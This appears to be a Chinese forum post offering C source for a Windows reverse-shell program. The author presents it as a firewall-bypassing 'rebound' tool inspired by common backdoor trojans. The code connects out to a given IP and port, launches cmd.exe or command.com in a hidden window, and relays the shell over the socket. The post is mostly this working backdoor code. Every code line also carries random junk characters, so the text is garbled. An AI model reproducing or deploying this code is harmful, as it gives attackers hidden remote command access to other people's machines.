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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uuEV_"X  
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/* ============================== {'flJ5]  
Rebound port in Windows NT je\Ph5"  
By wind,2006/7 3=#<X-);  
===============================*/ rCEyQ)R_}  
#include !"AvY y9  
#include m~BAyk^jo3  
TJd)K$O>  
#pragma comment(lib,"wsock32.lib") Xxj- 6i  
8bGd} (  
void OutputShell(); Mc lkEfn  
SOCKET sClient; thh. A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R>|{N9  
Ng&%o  
void main(int argc,char **argv) ejKucEgD  
{ F~ty!(c  
WSADATA stWsaData; @ )F)S 7  
int nRet; eSn+B;  
SOCKADDR_IN stSaiClient,stSaiServer; 1y &\5kB  
1NFsb-<u  
if(argc != 3) J6"9v;V  
{ -]Bq|qTH[(  
printf("Useage:\n\rRebound DestIP DestPort\n"); >tS'Q`R  
return; *][`@@->  
} E)&I@m  
3m[vXr?  
WSAStartup(MAKEWORD(2,2),&stWsaData); %fZJRu 1b  
Oamg]ST  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wb,KjtX  
},?kk1vIT{  
stSaiClient.sin_family = AF_INET; f^ZRT@`O  
stSaiClient.sin_port = htons(0); >~rTqtKd  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O^PKn_OJ  
FgnTGY}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2ACCh4(/P  
{ R+:yVi[F]U  
printf("Bind Socket Failed!\n"); _%Bi: HG0  
return; &3>)qul  
} m,28u3@r  
cU (D{~  
stSaiServer.sin_family = AF_INET; _RYxD"m y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;LfXi 8)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %Qgw7p4  
hW' )Sp  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P;y45b  
{ RU{twL.B  
printf("Connect Error!"); yF:1( 4  
return; 0 JS?;fk  
} bRDYGuC  
OutputShell(); e ,'_xV  
} OKZV{Gja  
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void OutputShell() GMx&y2. Z  
{ @u+]aI!`-  
char szBuff[1024]; `RT>}_j  
SECURITY_ATTRIBUTES stSecurityAttributes; fb7;|LF  
OSVERSIONINFO stOsversionInfo; )* :gqN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]#<4vl\  
STARTUPINFO stStartupInfo; ]EbM9Fo-U  
char *szShell; K g*Q  
PROCESS_INFORMATION stProcessInformation; eIF5ZPSZi  
unsigned long lBytesRead; ?,Xw[pR  
je-!4r,  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y1D L,%j  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +480 l}  
stSecurityAttributes.lpSecurityDescriptor = 0; JG. y,<xW  
stSecurityAttributes.bInheritHandle = TRUE; )m+W j  
F;EwQjTF  
9=M$AB  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;+_:,_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YqD=>P[O  
^e5=hH-%  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +/7?HGf  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SR hiQ  
stStartupInfo.wShowWindow = SW_HIDE; yzn%<H~  
stStartupInfo.hStdInput = hReadPipe; @7c?xQVd$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mIvx1_[  
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GetVersionEx(&stOsversionInfo); #MkTkm&r  
N% B>M7-=  
switch(stOsversionInfo.dwPlatformId) =J==i?  
{ ]mq|w  
case 1: m~ABC#,2  
szShell = "command.com"; -IudgO]  
break; *R,5h2;  
default: `hm-.@f,9  
szShell = "cmd.exe"; ?<,l3pwqa  
break; A2FYBM`Q&D  
} }K>d+6qk5  
dDMJ'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @{e}4s?7od  
]q[D>6_  
send(sClient,szMsg,77,0); l'1pw  
while(1) Jr4Ky<G_i  
{ uZYF(Yu  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }tu C}  
if(lBytesRead) Q*cf(  
{ <=&`ZH   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e"cXun4nS=  
send(sClient,szBuff,lBytesRead,0); R^fPIv`q  
} uMv,zO5  
else bWS&Yk(  
{ <dNOd0e  
lBytesRead=recv(sClient,szBuff,1024,0); 3`?7 <YJ  
if(lBytesRead<=0) break; T<>,lQs(a  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qkqIV^*R  
} Q\vpqE! 9  
} zI uJ-8T"  
!F-w3 ]  
return; kH1~k,|\&K  
}
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